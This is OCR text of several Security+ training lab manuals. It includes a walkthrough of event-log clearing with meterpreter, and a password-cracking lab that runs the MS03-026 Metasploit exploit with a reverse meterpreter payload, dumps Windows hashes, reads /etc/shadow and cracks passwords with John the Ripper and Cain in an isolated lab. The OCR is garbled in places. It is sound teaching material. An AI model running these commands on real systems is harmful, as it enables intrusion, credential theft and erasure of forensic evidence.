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14. Type the following command at the meterpreter prompt to clear all of the logs:
meterpreter > clearev

Figure 45: The clearev Command of Meterpreter

Clearev clears the application, system, and security logs. With clearev, there is no
choice to clear a single log. ClearLogs will let you clear one of the individual logs.

15. Go back to the Windows Server and examine the Event Viewer’s Security Log.
Double click Event 517 in the right pane of the security log event.

Ewvent |

[ ate: 1/26/2012  Source:  Security
Time: 11:56:34 Pt Category:  System Ewent

_t |
Type: Succesz & | Event|D: 51 + |
Uszer: MNT AUTHORITYS S TER
Computer: "WIN2E3DC

Dezcription:

The audit |DE Was clearedl
nirmary Lzer Mame: S7YSTEM

Frimary Domain: WT AUTHORITY
Frimary Logon [D: [0x0,02E 7]
Client Uzer Mame: SvYSTEM

Client Domair: WNT AUTHORITY
Client Lagan D (D0, 04 3E 7]

| »

L |

For maore information, zee Help and Support Center at

Data: % Bytes £ wionds

N N

] I Cancel | Apply |

Figure 46: The Security Log Was Cleared (By an Attacker)

15. Close all BackTrack terminals and server windows.
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While the Application and System Logs may have no records at all, the security log will
have at least one record that states the Audit Log was cleared. The person examining
this event will know that someone purposely cleared the log.

Task 3.2 Conclusion

Hackers might use ClearLogs to delete their trail of evidence in an attempt to cover
their tracks. The event logs can provide computer forensic investigators with
information that may be helpful to their investigation, including the construction of a
timeline of events. When the security event log is cleared, a single event log is created
that states “The audit log was cleared”. This can be evidence that the logs were cleared.

Task 3.3 Discussion Questions

What happens when the security log is cleared?

What is the difference between the ClearLogs tool and the clearev command?
Why might a hacker clear the logs?

What would be an indicator that a hacker may have cleared one or more logs?

PN E
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5 References

1. Clearlogs:
http://ntsecurity.nu/toolbox/clearlogs/

2. Metasploit:
http://www.metasploit.com/

3. wevtutil:
http://technet.microsoft.com/en-us/library/cc732848(WS.10).aspx

4, Event Viewer Reference:
http://support.microsoft.com/kb/308427

5. BackTrack Linux:
http://www.backtrack-linux.org/
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1 Introduction

This lab is part of a series of lab exercises designed through a grant initiative by the
Center for Systems Security and Information Assurance (CSSIA) and the Network
Development Group (NDG), funded by the National Science Foundation’s (NSF)
Advanced Technological Education (ATE) program Department of Undergraduate
Education (DUE) Award No. 0702872 and 1002746. This series of lab exercises is
intended to support courseware for CompTIA Security+® certification.

By the end of this lab, students will be able to crack the passwords of user accounts on
Linux and Windows systems. Students will use brute force techniques and dictionary
attacks to crack the passwords of users on the Linux and Windows operating system.

This lab includes the following tasks:

e Task 1 - Cracking Linux Passwords With John the Ripper
e Task 2 - Cracking Windows Passwords With John the Ripper
e Task 3 - Cracking Windows Password With Cain

2 Objective: Analyze and differentiate among types of mitigation
and deterrent techniques

You may have read articles online describing situations where someone’s passwords
were stolen and then used to gain access to an account in order to steal money. The
use of strong passwords is critical to protecting your accounts, as well as data and
resources within an organization.

John the Ripper [1] —John the Ripper is an extremely fast password cracker that can
crack passwords through a dictionary attack or through the use of brute force .

shadow file [2] — The shadow file stores information about user's accounts on a Linux
system. The shadow file also stores the encrypted password hashes, and has more
restrictive permissions than the passwd file. On most Linux systems, only the root
account has the ability to read the contents of the shadow file.

Cain [3] — Cain is a password cracking suite that will allow an attacker to crack
passwords through a dictionary attack, the use of brute force, or a rainbow table.

passwd file — User accounts on a Linux system are listed in the passwd file, which is
stored in the /etc directory. The passwd file has less restrictive permissions than the
shadow file because it does not store the encrypted password hashes. On most Linux
systems, any account has the ability to read the contents of the passwd file.

SAM files — The SAM, or Security Accounts Manager, file is a registry file in the
Windows\system32\config directory that contains password hashes for user accounts.
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3 Pod Topology
BackTrack 5 Windows 7 Red Hat Linux  Windows 2k3 Server
Attack Attack Victim Victim

INTERNAL NETWORK Domain: MSEC.local
192.168.100.0/24

MSEC SEoN =
Multi-Purpose BERRRY Firewall —_—
Security Pod 1 L) .

Domain: GVPC.local
EXTERNAL NETWORK 10.10.19.0/24

BackTrack 4 Windows 2k3 Server
Attack Victim

Figure 1: MSEC Network Topology
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4 Lab Settings

The information in the table below will be needed in order to complete the lab. The

task sections below provide details on the use of this information.

Required Virtual Machines and Applications

Log in to the following virtual machines before starting the tasks in this lab:

BackTrack 5 Internal Attack Machine

192.168.100.3

BackTrack 5 root password

password

Windows 2k3 Server Internal Victim Machine

192.168.100.201

Windows 2k3 Server administrator password

password

Windows 7 Internal Attack Machine

192.168.100.5

Windows 7 student password

password

BackTrack 5 Login:

1. Click on the BackTrack 5 icon on the topology.
2. Type root at the bt login: username prompt.
3. Type password at the Password: prompt.

Password: .

Figure 2: BackTrack 5 login

4. To start the GUI, type startx at the root@bt:~# prompt.

[«] To start a graphical interface, type

[+] The default root password is

root@bt:"# startx_

Figure 3: BackTrack 5 GUI start up

8/15/2012 Copyright © 2003-2012 Center for Systems Security and Information Assurance (CSSIA)
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Windows 2003 Server Login:

1. Click on the Windows 2k3 Server icon on the topology (these instructions will
work for both internal and external victim machines).

2. Enter the User name, Administrator (verify the username with your instructor).

3. Type in the password: password and click the OK button (verify the password
with your instructor).

Microsoft

- = Windows Server2003
¥ Standard Edition

Copyright © 1885-2003 Microsolt Carporation

User name: | Administrator

Easgword; l .ooo.oool

| 9% | concel | options s>

Windows 7 Login:

1. Click on the Windows 7 icon on the topology.

2. Enter the username, student (verify the username with your instructor).

3. Type in the password, password and hit enter to log in (verify the password with
your instructor).

student

Figure 4: Windows 7 login
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Task 1 Cracking Linux Passwords
John the Ripper is an extremely powerful password cracker. It comes loaded by default

on all versions of BackTrack, but is also available to download at
www.openwall.com/john/.

Task 1.1 Cracking Passwords on a Linux System using John the Ripper

1. Open aterminal on the BackTrack 5 system by clicking on the picture to the right
of the word System in the task bar in the top of the screen.

“\ Applications Places System [5]

~ v %X root@bt: ~
File Edit View Terminal Help

Figure 5: The Terminal Windows within BackTrack

2. Type the following command to view the user accounts on the system:
root@bt:~#cat /etc/passwd

Figure 6: User Accounts on the Linux System

First, we will be creating two groups, sesamestreet and simpsons. We will be creating a
total of six users, with three users in each group. After creating each user and putting
their account in their corresponding group, we will assign each user account a password.
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The charts below show a summary of the users, groups and passwords for our accounts.

Group: sesamestreet Group: simpsons
User Password User Password
elmo 123123 bart 2welcome

cookie 123456789 lisa academic
oscar 1sanjose homer acapulco

3. Type the following command to add the group simpsons:
root@bt:~#groupadd simpsons

:~# groupadd sim

Figure 7: Adding the Group simpsons

4. Type the following command to add the group sesamestreet:
root@bt:~#groupadd sesamestreet

:~# groupadd sesamestreet

Figure 8: Adding the Group sesamestreet

5. Type the following command to add the view the group file:
root@bt:~#cat /etc/group

Figure 9: Viewing the Group File

If you scroll to the bottom of group file, you will see the groups that were created along
with their corresponding unique group number. Note: The root group has an id of zero.

Figure 10: The Group file
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You can add users to the system in Linux by typing the useradd command. The useradd
command will automatically create a directory with that user’s name within the /home
directory. When the user logs in, they will be placed into their directory within /home.

6. To add a user named elmo and put him in the sesamestreet group, type:
root@bt:~#useradd elmo —g sesamestreet

Figure 11: Adding the user elmo

7. To add a user named cookie and put him in the sesamestreet group, type:
root@bt:~#useradd cookie —g sesamestreet

Figure 12: Adding the user cookie

8. To add a user named oscar and put him in the sesamestreet group, type:
root@bt:~#useradd oscar —g sesamestreet

:~# useradd osca

Figure 13: Adding the user oscar

9. To add a user named bart and put him in the simpsons group, type:
root@bt:~#useradd bart —g simpsons

eradd bart -g simpsons

Figure 14: Adding the user bart

10. To add a user named lisa and put her in the simpsons group, type:
root@bt:~#useradd lisa —g simpsons

eradd lisa -g simpsons

Figure 15: Adding the user lisa

11. To add a user named homer and put him in the simpsons group, type:
root@bt:~#useradd homer —g simpsons

eradd homer

Figure 16: Adding the user homer
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12. Type the following command to view the user accounts on the system:
root@bt:~#cat /etc/passwd | grep home

:~# cat

X:101:103
109:4
23§ 17 2/
1 X:1000:1000::/

Figure 17: Viewing the users in the /etc/passwd file

You can view the /etc/passwd file by using the cat command. However, the file is quite
long. We can use the grep command, which stands for Global Regular Expressions, to
filter our results. All of the users we created have a home directory, so we can narrow
down the output we are viewing by GREPing for the word home in the /etc/passwd file.

When groups are added first, followed by users being added and put into the groups as
they are created, you will have a structure where permissions can be set effectively.

Next, we will give each user a password. We will use simple passwords for this exercise,
but that should never be done on a production system. Avoid dictionary words because
attackers can use programs like John the Ripper to crack short passwords or passwords
that are found in a dictionary. Stick to passwords with a minimum of eight characters,
uppercase and lowercase letters, and special characters. Retype the password again
and it will be accepted. Note: For security reasons, the password will not be displayed
when you type it.

13. Type the following to give elmo a password. Type 123123 twice for the
password:
root@bt:~#passwd elmo

Figure 18: Giving the user a Password

You should receive the message, password updated successfully.
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14. Type the following to give cookie a password. Type 123456789 twice as the
password:
root@bt:~#passwd cookie

15.

16.

17.

8/15/2012

Figure 19: Giving the user a Password

Type the following to give oscar a password. Type 1sanjose twice as the
password:
root@bt:~#passwd oscar

Enter new UNIX
/pe new UNIX pa
password updated successfully

Figure 20: Giving the user a Password

Type the following to give bart a password. Type 2welcome twice as the
password:
root@bt:~#passwd bart

Figure 21: Giving the user a Password

Type the following to give lisa a password. Type academic twice as the
password:
root@bt:~#passwd lisa

Figure 22: Giving the user a Password

Copyright © 2003-2012 Center for Systems Security and Information Assurance (CSSIA) Page 11 of 33



Lab 11: Mitigation and Deterrent Techniques - Password Cracking

18. Type the following to give homer a password. Type acapulco twice as the
password:
root@bt:~#passwd homer

Figure 23: Giving the user a Password

Another way to filter our results is to use the Linux commands head and tail. Head will
show you the first ten lines of a line and Tail will show you the last ten lines of a file.
You can specify the number of lines you want to see by adding —n before the number.

19. Type the following command to view the created users in the passwd file:
root@bt:~#tail —n 6 /etc/passwd

~#tail =n 67/etc/pasSswd
:X:1001:1001:: /hon I
e:x:1002:1001::/h

:1003:1001:: /i
Xx:1004:1002:: /hon

1005: 1¢ -

Figure 24: Displaying the passwd file

20. Type the following command to view the created users in the shadow file:
root@bt:~# tail -n 6 /etc/shadow

Figure 25: Displaying the shadow file
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21. Switch to the john directory on BackTrack 5 by typing the following command:
root@bt:~# cd /pentest/passwords/john

Figure 26: Switching to the john directory

22. Type the following command to see the available switches for the john
command:
root@bt:/pentest/passwords/john# ./john

:/pentest/passw .
Ripper password cracker, v n 1.7.6-jumbo-12
(c) 1996-20 r and others

[PASSWORD-FILES]
use FILE i : 7ohn.conf or john. ipd
"single crack" mo

Figure 27: The john command

23. Type the following command to view the password hashes in the shadow file:
root@bt:/pentest/passwords/john# ./john /etc/shadow --wordlist=/root/Wordlist.txt

(cookie)
(Lisa)

Figure 28: Cracking the Passwords

24. After all six passwords are revealed; hit CTRL-C to stop John the Ripper and close
the terminal.
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Task 1.2 Conclusion

John the Ripper is a powerful password cracking tool that can crack user’s passwords via

a dictionary attack or through brute force methods. In order to prevent user's

passwords from being cracked, enforce the use of passwords with a minimum of eight

characters, uppercase and lowercase letters, and special characters.

Task 1.3 Discussion Questions

What is the command to add a group to the system in Linux?

What is the command to give a user a password in Linux?

What is the command to add a user to the system in Linux?

Where is the user’s encrypted password hash stored on a Linux system?

A
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Task 2 Cracking Windows Passwords
John the Ripper is an extremely powerful password cracker that may also be used to

crack passwords on Windows systems. It comes loaded by default on all versions of
BackTrack, but is also available to be downloaded at www.openwall.com/john/.

Task 2.1 Cracking Windows Passwords Using John the Ripper

1. Open aterminal within BackTrack 5 system by clicking on the terminal icon in the
top left corner and type msfconsole to launch Metasploit. The banner you see
may be different from the one in the picture below. Type banner to change the
banner.
root@bt:~#msfconsole

etasplolt v4.0.u-release |core:4.0 apl:i.u

-

226 payloads - 27 encodars - 8 nops
svn r13462 updated (2011.08.01)

[ metasploit v4.0.¢

[ 716 exploits - 361 auxiliary - 68 post
|

|

Warning: This-copy of the Metasploit Framework wasS last updated .
We recommend that you update the framework at least every other day.
For information on updating your copy of Metasploit, please see:
https://community.rapid7.com/docs/D0C-1306

Figure 29: The msfconsole of Metasploit
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2. At the msf prompt, you can type the ? to see a list of available commands
msf > ?

~ v % root@bt: ~
File Edit View Terminal Help

Help menu
Move back from the current conte)
banner
cd Change the
color Toggle color
connect Communicateswith apt
ex Exit the console

- more module

Figure 30: Commands Available within Msfconsole

Not all of the available commands are displayed when you type ?. For example, the
ifconfig and nmap programs loaded on the BackTrack operating system can be used.

3. Toview the IP Address of the BackTrack machine (attacker), type the following:
msf > ifconfig

HwWaddr 00:50:56:98.:00:9¢
.168.100.255 Masks255"
'64 Scope;link

1500 Metric:1

C)I \

n:1000

- * 1 '
- OYM VL \n

D
w
w

Figure 31: The ifconfig command run within msfconsole

The ifconfig command comes in handy if you forget the IP Address of the attacking
machine or if you are using DHCP and are unsure what IP Address is in use.
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4. Another handy command that can be used within msfconsole is nmap.
To see all of the switches that can be used with the nmap command, type:
msf > nmap

QN N -
Q) -

~+

-~ skipy host discovery
SYN/ACK, "UDP or SCTPdis€over
timestamp, and netmask réquest disc
Protocol Ping

e

Y. ik -4

. S

o~ Q

[default: sometimes]
tom DNS servers

Figure 32: Switches Available for Nmap

5. To view what other machines are alive on the subnet, type:
msf > nmap —sP 192.168.100.*

LSISVNT (" httpt//nmap.org ) at/2012-92-27 02:16EST
192.168.100.3

report for 192.168.100.201
(0.00048s latency).
1 3 5: 00:50:56:98:00:96
Nmap done: 256 IP addresses (2

Figure 33: Searching for Exploits within the Metasploit Framework
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Our machine has the IP Address of 192.168.100.3. The victim is 192.168.100.201.

Starting Nmap 5. S1SUN"T map.orq Fat /2l e2=a7 S2v1b Z5T

nttp?,
Nmap scan report for 192.168.100.3

report for 192.168.100.201
up (0.00048s latency).

Figure 34: The Nmap Scan identifies the Attacker and the Victim

6. Type the following to perform an Operating System Scan of the remote host
msf > nmap -0 192.168.100.201

2.168.100.201
192.168.100.201

Starting Nm
Nmap E

TN OO
me~o
< n
=~ (D

3 .r+

9/

ldap
microsoft-ds
kpasswd5

http-rpc-epmap

OO H 00w
N U0

"D B s W

unknown

neodl

jstel

globa
globalcatLDAPssl
unknown

Figure 35: An Operating System Scan of the Victim
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Since, according to the previous nmap operating system scan results, it is a Windows
2003 box without a service pack, it will be vulnerable to the following exploit:

e MS03 026 - Windows RPC DCOM Interface Overflow

You can get more detail about this vulnerability at the following link:
http://www.nsfocus.com/english/homepage/research/0306.htm

7. Search for an RPC exploit by typing search ms03_026 at the msf console
msf > search ms03_026

sclosure Date Rank  Descripti

ndows/dcerpc/msd3 026 dcom 2003-07-16 great’ Microsoft RPC DCOM Interface Overflow

Figure 36: Searching for the MS06-040 Vulnerability

8. Touse MS03_026 exploit, type the following command into the msf console:
msf > use exploit/windows/dcerpc/ms03_026_dcom

02 026 dcom

Figure 37: Using the exploit

9. Let’s examine the first of the RPC vulnerabilities in the list, the first of which, is:
msf exploit(ms03_ 026 _dcom) > show options

msf exploit( ) > show options

Module options (exploit/windows/dcerpc/ms@©3 ©26 dcom):
Name Current Setting Required

éHéST

RPORT

Exploit target:

I d ” a m E’

Windows NT "SP3-6a/2000/XP/2003 Universal
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Figure 38: Showing the Options for the Exploit

10. Type the following command to get information about the particular exploit:
msf exploit(ms03_ 026 _dcom) > info

exploit|(

Name: Microsoft RPC DCOM Interf v
Module: exploit/windows/dcerpc/ms03 026 dcom
Version:
Platform:
Privileged:

letasploit Framework License (BSD)
Great

Available targets:
Id Name

0 Windows NT SP3-6a/2080

iBasic options.:
Name ing equire Description
RHOST
RPORT

Figure 39: Showing Information about the Exploit

The exploit requires port 135 to be open on the victim machine. This port was open
when we performed an operating system scan on the victim machine using nmap.
Nevertheless, we can run the scan again against the victim machine, verifying that port
135 is open.
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11. Type the following command to scan for port 135 on the victim machine:
msf exploit(ms03_026_dcom) > nmap 192.168.100.201 —p 135

exploit( )
nmap 192.168.100.201 -

Starting Nmap 5.51SVN ( htip://nmap.org ) at 2012-05-13
Nmap scan report for 192.168.100.201

Host is up (0.8024s latenc
PORT STATE SERVICE
135/tcp open msrpc

MAC Address: 00:

Nmap done: 1 IP address (1 host up) scanne n 0.79 seconds

Figure 40: Scanning to Determine if Port 135 is open

To attack the remote machine, we need to set the target IP Address, or rhost.

12. Type the following command to set the rhost within Metasploit:
msf exploit(ms03_026_dcom) > set rhost 192.168.100.201

rhost 192.168.188.2081

Figure 41: Setting the Remote Host

Next, we will need to set a payload. Examples are meterpreter and command shells.

13. Type the following command to set the payload within Metasploit:
msf exploit(ms03_026_dcom) > set payload windows/meterpreter/reverse_tcp

Figure 42: Setting the Payload

We need to provide the IP Address of the machine to send meterpreter to, or lhost.

14. Type the following command to set the lhost within Metasploit:
msf exploit(ms03_026_dcom) > set lhost 192.168.100.3

et lhost 192.168.180.3

» 192 .168.1688.3

Figure 43: Setting the LocalHost
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15. Type the following command to verify all options within Metasploit:
msf exploit(ms03_026_dcom) > show options

dcom) :

RHOST 192. .100. 2€ yes The tar
RPORT 135 yes The tar

Name

Sl e €5 | echnique: seh, thread, process
LHOST 192.168.100.3 ; .

LPORT 4444

’

Figure 44: Showing the Options

16. Type the following command to exploit the target within Metasploit:
msf exploit(ms03_ 026 dcom) > exploit

4d9f4ab8g- f- JE f 104 Ca 1p 68.100
4d9f4ab8-7dl1c 3

exploit

(192.168.100.3:4444 -> 192.168.100.201:1093) at 2012-05-13

Figure 45: Exploiting the Victim Machine

If the exploit works, you will receive the message, meterpreter session 1 opened.
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17. Type the following command at the meterpreter prompt to dump the hashes:
meterpreter> hashdump
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Figure 46: Dumping the Password Hashes

18. Highlight all of the hashes, right-click and Copy them.

lAdministrator:500:e52cac67419a%a224a3b108f3fabcbbd : 88461 7eaee8Tbl17ad06bdd830b7586¢: : :
Guest?[]501:aad3b435b51404eeaad3b435b51404ee: 31d6cTe0d16ae931b73c59d7e0cO89¢O: : :
krbtgt:562:aad3b435b51404eeaad3b435b51404ee:80232bbT2953e6Tf07404518ef2761dd: : :
IWAM WIN2K3DC:1601:1e8e43de3Te8067e99c4eab81057917d: 7Teef2545alc7db84af267948bd3bad2: 1 :
TUSR WIN2K3DC:1802:688511ba998d613799b33f164a49eea8: 3dea253687f fffdc36c4el43a994d225: : :
tfey?[E:1107: 5eceacefalbaadfaaad3b435b51404ee: e3TT7de8B6abachdf4eefcfec23e319d: : :
ddraper:1168:431b3cd7a89cbb456742ed07f6ef21a2:1023229912d3516c6d26Te3843053018: : :
ereed:1109:0182bdebd4444bf8aad3b435b51404ee:328727b81caB5805a68ef26acb252039: : :
sjoplin:1110:f316c5c5832b92cB8ab78377a3f480a9b: 1fd922c20fc8d5a23b77d4b3a73df551:
bfuller:1111: ?eBbdﬁBS1M5ede853cdcd?c24?fas3a 266?2239992eI31e53eeee325e96cbd6
2 fEB?BMZcZee?cBZB3ec3ba4e934
bdaacc@4e155034d43bccfad8f2: ::
d9810b0bc89749570b0db13484e4cC: : :
; e94ad648337491648c8afbdedag: ::
tsurgott?:1116:a649ed7al082dh 1 490ee955de71551e2deef838b4db3: : :

smusial?[31117:5de640a31c348C e a78179516c385e35a93ffadblcdac: : :
chawkins?:1118:02c6T2ca01882 2003de81d3534007971587517b784: ::
ghopper:1119:84bfa362301cd82 - fB6cB463106daa2442f611d1042: : :
bnelson?[EE1120:873bd523692c1] I 3 Ma52658d872alb7056ac97814730a8: : :
pcomo?[E]1121: 359aeaaf12d67 90 RN r e ce735e9cab5a7af2cb64cle3fo:::
jdiamond?:1122:6ba5b2060afaf 671314e326e4d037259921d758281:::

sfitzgerald:1123:1a62f633alb nput e - @ a52717b825e8e391691874883113279: : :

Figure 47: Copying the Password hashes
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19. Open another terminal and type the following to start the gedit editor and
create a winhashes file:
root@bt:~# gedit winhashes

Applications Places System [>_]

x root@bt: ~

View Terminal Help

Figure 48: Using gedit to make a file

20. If the window does not automatically populate with the copied hash, select Edit,
then Paste to paste all of the hashes. Click Save and close the winhashes file.

* winhashes (~) - gedit
File | Edit / arch T

b8 f3fabcb6d: 88467 7eace8fbl17ade6bdd830b7586¢: : :
Y@ 404ee:31d6cfe@d16ae931b73¢59d7e@cO89CO: : :
J4ee:80232bbT2953e6TfO7404518ef2761dd: : :
bab81057917d: 7eef2545alc7db84af267948bd3babf2: - :
% f164a4%eea8:3dea253687ffffdc36c4el43a994d225: 1 :
h51404ee:e3ff7de886abacbdf4eedcfec23e319d: ::
}021a2:1023e29912d3516c6d26Te3843053018: : :

q p4ee:328727b81cad5805a68ef26acb252039: : :
sjoplin:1110:T316¢5c5832b92¢8ab78377a3T480a9b: 1Td922c20fc8d5a23b77d4b3a73df551: ::
bfuller:1111:7e8bd6851846ede85acdcd7c247faB3a:26672239002e131e5aeeee325e96cbd6: : :
rdavies?[§q:1112:402e7305772ecb0893e28745b8bT4ba6: ca3T6976842c2eeTc73233ec3bade934: : :
bward?[f:1113:1769c762T69Te5acaad3b435b51404ee:b8dfdbdaacc04el55034d43bccTaddr2:  :
owinfrey?:1114:4cfe@b8595cbe7ce3832¢92fc614b7d1:ac5d9810bobc89749570b0db13484edc: : :
ladams?:1115:00ad5a4fd292bT508c1001350d53db52: e09d0e94ad640337491648c8afb4edas: : :

Figure 49: Paste all Hashes

21. Open a new terminal and switch to the john directory by typing the following
command:
root@bt:~# cd /pentest/passwords/john

Figure 50: Switching to the john directory
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22. Type the following command to crack the password hashes. This will take
several minutes.
root@bt:~/pentest/passwords/john#./john /root/winhashes

[ /passwords/john#
word hashes with no d

-

(Administrator:2)

PASSWOR

(Lphair?)

(WIN2K3DCS)
BA (smusial?[31)
56 )

A
2
A

PIRATES
GUITARG
2WELCOM

(evanhalenL:2)
(owinf ?:2)
(bn€lson?[52]2)

(ghopper:2)

Figure 51: Cracking Passwords

23. Close all open terminals when finished with this task.
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Task 2.2 Conclusion

The MS03_026 - Windows RPC DCOM Interface Overflow exploit can be used against
some versions of Microsoft operating systems that have port 135 open. If an attacker is
able to successfully exploit a target, they can use the hashdump command to dump the
hashes on the remote system. John the ripper can be used to crack the passwords.

Task 2.3 Discussion Questions

How can you learn more information about a particular exploit?
What is the command to dump the password hashes in meterpreter?
What port needs to be open in order to use the DCOM RPC exploit?
What directory is John the Ripper located in on BackTrack?

A
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Task 3 Cracking Windows Passwords With Cain

John the Ripper is a very good password cracking program for Linux, Mac, and Windows.
It can be downloaded from: http://www.openwall.com/john/. Cain is a Windows
password cracking program for Windows that can be downloaded from www.oxid.it
One disadvantage of Cain is that it is classified as a virus by most AV vendors.

Task 3.1 Using Cain

Creating accounts

1. Click on the icon representing the Windows 7 VM. Open a command prompt on
the Windows 7 machine by double clicking on the cmd.exe shortcut on the
desktop.

Figure 52: Opening a Shortcut to Command Prompt

In the next step, we will add users with passwords from the command prompt. Users
can also be added using Local Users and Groups within Computer Management.

2. Type the following to create a user called userl with the password of allgood.
C:\>net user userl allgood /add

B Administrator: cmd - Shortcut
Microsoft windows [Version 6.1.7600]

™

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

d

~net user userl allgood

; r ad
The command completed successftully.

Figure 53: Creating a user

You should receive the message from the operating system that, the command
completed successfully.
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3. Type the following to create a user called user2 with the password of
allocaffeine.

C:\>net user user2 allocaffeine /add

(

-H"HE

Figure 54: Creating a user

You should receive the message from the operating system that the command
completed successfully.

4. Type the following to create a user called user3 with the password of barricade.
C:\>net user user3 barricade /add

C:\>=net user user3 b

The command completed

i
-

Figure 55: Creating a user

You should receive the message from the operating system that the command
completed successfully. Close the command prompt

5. Open Cain by clicking on the shortcut on the desktop.

Figure 56: Opening Cain
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6. Click on the Cracker Tab (with the Key icon) in the middle of the Cain program.
Right click on in the right pane and select Add to list. Make sure both the
checkbox next to Import Hashes from local system is selected and the checkbox
next to Include Password History Hashes is selected, then click the Next button.
The users will then appear in the list, along with their corresponding Lan
Manager (LM) and New technology Lan Manager (NTLM) hashes. A key to the
left of the username indicates the password is cracked. In this case,
administrator and guest have blank passwords.

=
File VWiew Configure Tools Help

lcsweha® |+ R yvmEEB0®2 0?0
|@, Decoders I @ Metwork I@ Sniffer I@? Cracker Iﬁ Traceroute IM ccou I[(E']'J] Wireless Iﬁj Query I

af Cracker + | User Name I LM Password I <8 I NT Password I LM Hash I MNT Hash |
g LM & NTLM Hast | | §% Administrator * empty * * *empty* AAD3B435B51..  31DECFEODIG...
-4 NTLMv2 Hashes ( %Guest Emptj,-' * *empty* AAD3B435B51... 31D6CFEODIS...
.4l M5-Cache Hashe: x AAD3B435B51... | 8846FTEAEERF...
42, PWL files (0) X userl Dictionary Attack AAD3B435B51... 8FB4DC49DS4...
-.JH CiscoI0S-MDSH| | | X user2 RSy . AAD3B435B51... 154F148B8A99...
_.JH Cisco PIX-MDS Hi | | 3 user3 i » AAD3B435851... DDF8302FCEEB...
..... T APOP-MDS Hashi = R
""" & CRAM-MD5 Hash Rainbowcrack-Online 4
..... & OSPF-MD5 Hashe
..... & RIPv2-MD5 Hashe ActiveSync +
..... VRRP-HMAC H

= Select All

.G VNC-3DES (0)
..... md VD2 Hashes (0) Note

----- md 104 Hashes ()
----- '“_rf' MD5S Hashes (0)
----- R SHA-1 Hashes (0) Add to list Insert

SHE iAW 0 oo o A

Test password

Figure 57: Adding the User List within Cain

The LM password hash was used in Microsoft operating systems prior to Windows Vista.
The NTLM password hash, which is much more secure, is used with Vista and higher.

7. Hold down the shift key. Click on userl, user2, and user3. Right click, and select
dictionary attack, and then select NTLM hashes, because this is Windows 7.

b quserd  |*empty* | | = [AAD3BA35BS51.. [8FBADCA9DB4.. |  [LMBNTLM

x-— ARDIBAZSESL... | 1541886400 .| [IM&NTIM

Dictionary Attack 2 LA Hashes
Brute-Force Attack 2 LM Hashes + challenge
Cryptanalysis Attack 2 MNTLM Hashes

Figure 58: Selecting the Users within Cain
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8. If the Wordlist.txt file is not already loaded in Dictionary area, right click in the

top pane and select Add to list.

Dictionary Attack

Dictionary

File | Pasition |

Add to list Insert

Figure 59: Selecting the Users within Cain

9. Click the Worldlists Folder within the C:\Program Files\Cain folder.

Dictionary Attack

Open
{ “'\._./'I | .« Program Files » Cain »

Organize = Mew folder

- Favorites Mame
Bl Desktop . Driver
& Downloads . Winrtgen
=| Recent Places . Wordlists

Figure 60: Selecting the Wordlists Folder

10. Select the Wordlist.txt dictionary file within the Wordlists folder.

Dicticnary Attack

Open
{ }u | . #= Program Files » Cain » Wordlists

Organize = Mew folder

-~

. Favorites =
Bl Desktop

Mame

||| Wordlist.txt

Figure 61: Selecting the Wordlist.txt File

8/15/2012 Copyright © 2003-2012 Center for Systems Security and Information Assurance (CSSIA)

Page 30 of 33



Lab 11: Mitigation and Deterrent Techniques - Password Cracking

11. Click the Start button at the bottom of the dictionary attack screen. The cracked
passwords should appear in the bottom pane within a few minutes.

Dictionary Attack | &2
Dictionarny
File | Position
%_','f C:\Frogram Filez\Cain\yw ordlistz W ordlizt. bt 0221
K.ey Rate Options
v s ls [Password)
el e o Iv Reverse [PASSWORD - DROWSSAF)
v Double Pass - PassPass)
v Lowercaze [PASSWORD - pazsword)
[+ Uppercaze [Fazzward - PASSWIORD)
[v Mum. sub. perms [Pass Pdss Pabs,. P45s. P4ES)
Current password [ Caze perms [Pass.pbsspaSs.. PaSs. PASS)
v Two rumnbers Hobrid Brute [Pass0.. Paz:99)

FPlaintext of SFB4DC49D54A48F3ICDEEIFE5F4AB29ADE 1= allgood
FPlaintext of 154E148B8A9902C35B08ES815DCASR30 1= allocaffeine
Plaintezt of DDFEZ0ZFCEEE363186D9AEAIG3E941B0 i= barricade
Attack =stoppedl

3 of 3 hashes crachked

Start E xit

Figure 62: The passwords are Cracked

There is a possibility that Cain will not crack all 3 passwords. If it does not, simply
continue with the lab.

12. When Cain has finished cracking the passwords, click the Exit button to close the
program.
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Task 3.2 Conclusion

Cracking Windows passwords can be accomplished with Cain, a tool available from
www.oxid.it. There are two types of Windows password hashes used for local accounts,
Lan Manager (LM) and New technology Lan Manager (NTLM) hashes. The LM password
hash was used in Microsoft operating system prior to Windows Vista. The NTLM
password hash, which is much more secure, is used with Windows Vista and higher
operating systems.

Task 3.3 Discussion Questions

What Windows operating systems exclusively use the NTLM hash?
What Windows operating systems use the LM hash?

Where can someone obtain Cain?

What is a disadvantage of using Cain?

A
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5 References

1. John the Ripper Password Cracker:
http://www.openwall.com/john/

2. Understanding /etc/shadow file:
http://www.cyberciti.biz/fag/understanding-etcshadow-file/

3. Cain:
http://www.oxid.it/cain.html

4. How I cracked your Windows password — Part I:
www.windowsecurity.com/articles/how-cracked-windows-password-partl.html

5. How I cracked your Windows password — Part Il:
www.windowsecurity.com/articles/how-cracked-windows-password-part2.html
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1 Introduction

This lab is part of a series of lab exercises designed through a grant initiative by the
Center for Systems Security and Information Assurance (CSSIA) and the Network
Development Group (NDG), funded by the National Science Foundation’s (NSF)
Advanced Technological Education (ATE) program Department of Undergraduate
Education (DUE) Award No. 0702872 and 1002746. This series of lab exercises is
intended to support courseware for CompTIA Security+® certification.

By the end of this lab, students will learn how to scan remote systems for open ports
and vulnerabilities. Vulnerability scanners, such as Nessus from Tenable Security, are
often used be people working in the field of information assurance to determine what
steps can be taken to lock down systems and patch the holes. If vulnerabilities are not
addressed, hackers can take advantage of them with tools like Metasploit.

This lab includes the following tasks:

e Task 1-Using Nmap and Zenmap
e Task 2 - Using Nessus
e Task 3 - Using Metasploit

2 Objective: Implement Assessment Tools and Techniques to
Discover Security Threats and Vulnerabilities

New security threats emerge every day. Security professionals need to know how to
identify the holes and patch them before hackers take advantages of the weaknesses in
the system. Using tools like nmap and Nessus, security professionals can identity
weaknesses in their systems so they can patch them before their systems are exploited.

Nmap [1] — Nmap can be used in Linux, Mac, or Windows to locate machines on a
network. After nmap is used to discover machines on a network, it can also be utilized
to determine which open Transmission Control Protocol (TCP) and User Datagram
Protocol (UDP) ports the machine has open. Nmap will give an indication of the
operating system the remote machine is using. Nmap was used in the movie the Matrix.

Zenmap [2] — Zenmap is a GUI frontend for nmap. Zenmap is a good tool for people not
familiar with the syntax of nmap. Zenmap will allow you to save reports of your scans.

